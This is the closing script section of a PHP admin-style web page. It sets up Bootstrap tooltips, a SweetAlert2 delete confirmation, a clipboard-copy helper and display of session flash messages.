        const tooltipList = tooltipTriggerList.map(function (tooltipTriggerEl) {
          return new bootstrap.Tooltip(tooltipTriggerEl)
        });

        // Delete Confirmation
        function deleteConfirm(url) {
            Swal.fire({
                title: 'Are you sure?',
                text: "You won't be able to revert this!",
                icon: 'warning',
                showCancelButton: true,
                confirmButtonColor: '#6c757d',
                cancelButtonColor: '#dc3545',
                confirmButtonText: 'Yes, delete it!'
            }).then((result) => {
                if (result.isConfirmed) {
                    window.location.href = url;
                }
            });
            return false;
        }

        // Copy to Clipboard
        function copyToClipboard() {
            const textarea = document.getElementById("newContent");
            textarea.select();
            textarea.setSelectionRange(0, 99999); // For mobile devices
            navigator.clipboard.writeText(textarea.value).then(() => {
                Swal.fire(
                    'Copied!',
                    'The content has been copied to your clipboard.',
                    'success'
                );
            }, () => {
                Swal.fire(
                    'Copy Failed',
                    'The content could not be copied.',
                    'error'
                );
            });
        }

        // Display SweetAlert2 Messages from PHP Session
        <?php if (isset($_SESSION['message'])) : ?>
            Swal.fire({
                title: '<?= htmlspecialchars($_SESSION['status']) ?>',
                text: '<?= htmlspecialchars($_SESSION['message']) ?>',
                icon: '<?= htmlspecialchars($_SESSION['class']) ?>',
                confirmButtonText: 'OK'
            });
            <?php unset($_SESSION['message'], $_SESSION['status'], $_SESSION['class']); ?>
        <?php endif; ?>
    </script>
</body>
</html>
